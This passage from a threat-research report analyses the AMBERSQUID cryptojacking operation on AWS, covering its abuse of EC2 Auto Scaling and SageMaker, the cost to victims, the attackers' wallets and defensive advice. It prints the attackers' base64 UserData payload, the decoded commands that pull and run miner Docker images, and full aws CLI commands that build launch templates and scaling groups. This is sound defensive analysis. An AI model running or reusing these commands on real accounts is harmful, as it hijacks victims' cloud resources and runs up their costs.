
Amazon EC2 Auto Scaling is a feature that allows users to handle the availability of compute capacity by adding or removing EC2 instances using scaling policies of their choice. Launch templates can be used to define the EC2 instances to be deployed.

The script scale.sh creates the following EC2 launch template for each region:

<code>SCRIPT=<span class="hljs-string">"c3VkbyB5dW0gaW5zdGFsbCBkb2NrZXIgLXkgJiYgc3VkbyBzZXJ2aWNlI
    GRvY2tlciBzdGFydCAmJiBzdWRvIGRvY2tlciBwdWxsIGRlbGJpZGFsdWFuL2VwaWN4ICYmIHN1ZG8gZG9ja2VyIHJ1bi
    AtZCBkZWxiaWRhbHVhbi9lcGljeA=="</span>

AMI=$(aws ec2 describe-images --filters <span class="hljs-string">
    "Name=manifest-location,Values=amazon/amzn2-ami-kernel-5.10-hvm-2.0.20230404.0-x86_64-gp2"</span> 
    --query <span class="hljs-string">'Images[0].ImageId'</span>| <strong>tr</strong> 
    -d <span class="hljs-string">'"'</span> <span class="hljs-number">2</span>> 
    <span class="hljs-regexp">/dev/null</span>)
export AMI
aws ec2 create-launch-template \
    --launch-template-name task \
    --version-description task \
    --launch-template-data <span class="hljs-string">'{"ImageId": "'</span>$AMI<span class="hljs-string">'",
        "UserData": "'</span>$SCRIPT<span class="hljs-string">'","InstanceRequirements":{"VCpuCount":{"Min":4},
        "MemoryMiB":{"Min":8192}}}'</span></code><small><span class="shcb-language__label">Code language:</span> 
        <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">
        (</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small>


The instance AMI is Amazon Linux 2, with the minimum requirements set to 4 vCPU and 8 GB of memory. The Base64 decoded script inserted in the UserData contains the commands to run one of the attackers’ Docker images running a cryptominer:

<code>sudo yum install docker -y && sudo service docker start && sudo docker pull 
    delbidaluan/epicx && sudo docker run -d delbidaluan/epicx</code>


Then, the script creates two auto scaling groups, named “task” and “task1,” that spin up instances using the previous launch template as shown below:

<code>aws autoscaling create-auto-scaling-group --auto-scaling-group-name task 
    --vpc-zone-identifier <span class="hljs-string">"$SUBNET,$SUBNET1"</span> 
    --cli-input-json <span class="hljs-string">'{"DesiredCapacityType":"units",
    "MixedInstancesPolicy":{"LaunchTemplate":{"LaunchTemplateSpecification":
    {"LaunchTemplateName":"task","Version":"1"},"Overrides":[{"InstanceRequirements":
    {"VCpuCount":{"Min":4},"MemoryMiB":{"Min":8192},"CpuManufacturers":["intel","amd"]}}]},
    "InstancesDistribution":{"OnDemandPercentageAboveBaseCapacity":100,
    "SpotAllocationStrategy":"capacity-optimized","OnDemandBaseCapacity":8,
    "OnDemandPercentageAboveBaseCapacity":100}},"MinSize":8,"MaxSize":8,"DesiredCapacity":8,
    "DesiredCapacityType":"units"}'</span>
aws autoscaling create-auto-scaling-group --auto-scaling-group-name task1 
    --vpc-zone-identifier <span class="hljs-string">"$SUBNET,$SUBNET1"</span> 
    --cli-input-json <span class="hljs-string">'{"DesiredCapacityType":"units",
    "MixedInstancesPolicy":{"LaunchTemplate":{"LaunchTemplateSpecification":
    {"LaunchTemplateName":"task","Version":"1"},"Overrides":[{"InstanceRequirements":
    {"VCpuCount":{"Min":4},"MemoryMiB":{"Min":8192},"CpuManufacturers":["intel","amd"]}}]},
    "InstancesDistribution":{"OnDemandPercentageAboveBaseCapacity":0,
    "SpotAllocationStrategy":"capacity-optimized","OnDemandBaseCapacity":0,
    "OnDemandPercentageAboveBaseCapacity":0}},"MinSize":8,"MaxSize":8,"DesiredCapacity":8,
    "DesiredCapacityType":"units"}'</span></code><small>
    <span class="shcb-language__label">Code language:</span> 
    <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">
    (</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)
    </span></small>


Each group includes eight instances: the first group has only On-Demand Instances(“OnDemandPercentageAboveBaseCapacity” is set to 100) while the second group has only Spot Instances (“OnDemandPercentageAboveBaseCapacity” is set to 0). Also, by setting “SpotAllocationStrategy” to “capacity-optimized,” the attackers choose the strategy that has the lowest risk of interruption according to the documentation.


Sagemaker

Amazon SageMaker is a platform to build, train, and deploy machine learning (ML) models. Users can write code to train, deploy, and validate models with notebook instances that are ML compute instances running the Jupyter Notebook App. For every notebook instance, users can define a lifecycle configuration, which is a collection of shell scripts that run upon the creation or start of a notebook instance. This is precisely where the attackers put the script to run their miner after creating several notebook instances with the same configuration.

For each region, the attacker runs note.sh. This script creates a SageMaker notebook instance with type ml.t3.medium. The “OnStart” field in the configurationcontains “a shell script that runs every time you start a notebook instance,” and here they inserted the following commands encoded in base64 to run the miner:

<code>sudo yum install docker -<strong>y</strong> && sudo service docker start && sudo docker 
    pull delbidaluan/note && sudo docker run -d delbidaluan/note</code><small>
    <span class="shcb-language__label">Code language:</span> 
    <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">
    (</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)
    </span></small>


Other scripts

salah.sh (“salah” means “wrong” in Indonesian) is run for each region and in turn runs delete.sh. This script deletes all the CodeCommit repositories previously created.

stoptrigger.sh, for each region, this script stops some Glue triggers.


Cost to the Victim

In consideration of the amount of services that are used in this operation, we wanted to make a simulation of the cost that this would entail for a victim. These costs make assumptions based on regions and scale which can be easily changed by the attacker.

ServiceDeployCost/day
Amplify (pricing)8 regions x 5 apps x 1440 min$576
CodeBuild (pricing)8 regions x 3 projects (small, medium and large) x 1440 min$403
Cloudformation (pricing)8 regions x 8 tasks (c5.xlarge, c5a.xlarge, r5.xlarge, r5a,xlarge) x (0.2 * 24 h)$307
Sagemaker (pricing)4 regions x 8 instances (ml.t3.2xlarge) x (0.399 * 24 h)$306
EC2 Auto Scaling groups (pricing)4 regions x 16 instances x (0.2 * 24 h)$307
ECS (pricing)16 regions x 24 h x 30 tasks x (2 vCPU * 0.013 + 4GB * 0.001)$345
Total$2244

Another point to consider with the table above is that the default scripts are not operating at full power. For example, in some services they exploit only four regions, sometimes eight, and other times 16. The cost would be much higher if they always target all regions and scale up their resource usage.


Wallets and Revenues

CryptocurrencyWallet addressesNotes
ZephyrZEPHYR2vyrpcg2e2sJaA88EM6aGaLCBdiY
fiHffrs5b3Fa4p1qpoEPH4UabmhJr5YYF
7CxJykLTJmESQWaB9ARNuhb6jvptapVq3v
Received: 3251.16 ZEPH = $6,924
TidecoinTFrQ7u9spKk8MBgX6Bze3oxPbs3Yh1tAsqReceived: 250,381 TDC = $6,993
VerusRNu4dQGeFDSPP5iHthijkfnzgxcW2nPde9Received: 4561.913 VRSC = $1,916
Monero89v8xC6Mu2tX27WZKhefTuSnN7f3JMHQS
AuoD7ZRe1bV2wfExSTDZe4JwaM4qpjKA
oWbAbbnqLBmGCFECiwnXdfSKHt85H3 (2miners)

8B7ommXjcEpTAHKFFyci1v5ADrqvEbphh
HrzbBfJgvqjecbik7vcLonh8rYSstbBxgD8A
ccrJYEukDaXZB8ns3kTLiXL8BN
(c3pool)
837MGitRYxgEV158RDenxVUfb5mN6qzz
78Z1WeaDoiqC4K7H8Pj556vHJoVXL2MC
J5WCGVZTBiRmqJFxeJG3WSQmGKhPC31
(nanopool)
Paid: 17.636 XMR = $2,506
QRLQ010500bc3733dbd0576ca26a8595d59b
577a4d1e09c019856abfa103b8f08ec0ed
36735e0e2f35

Q01050074da7be4fe8216f789041227c08
ccbf310617362641336e1f282c398937635
a5d3ebbdbf
N/A
Bamboo007DE31E4FD8213FBCE3586A3D2260C
962142BBC605BB41C41
N/A


Conclusion

Cloud Service Providers (CSPs) like AWS provide a vast array of different services for their customers. While most financially motivated attackers target compute services, such as EC2, it is important to remember that many other services also provide access to compute resources (albeit more indirectly). It is easy for these services to be overlooked from a security perspective since there is less visibility compared to that available through runtime threat detection.

All services provided by a CSP must be monitored for malicious use. If runtime threat detection isn’t possible, higher level logging about the services usage should be monitored in order to catch threats like AMBERSQUID. If malicious activity is detected, response actions should be taken quickly to disable the involved services and limit the damage. While this operation occurred on AWS, other CSPs could easily be the next target.

Share this content on your favorite social network today!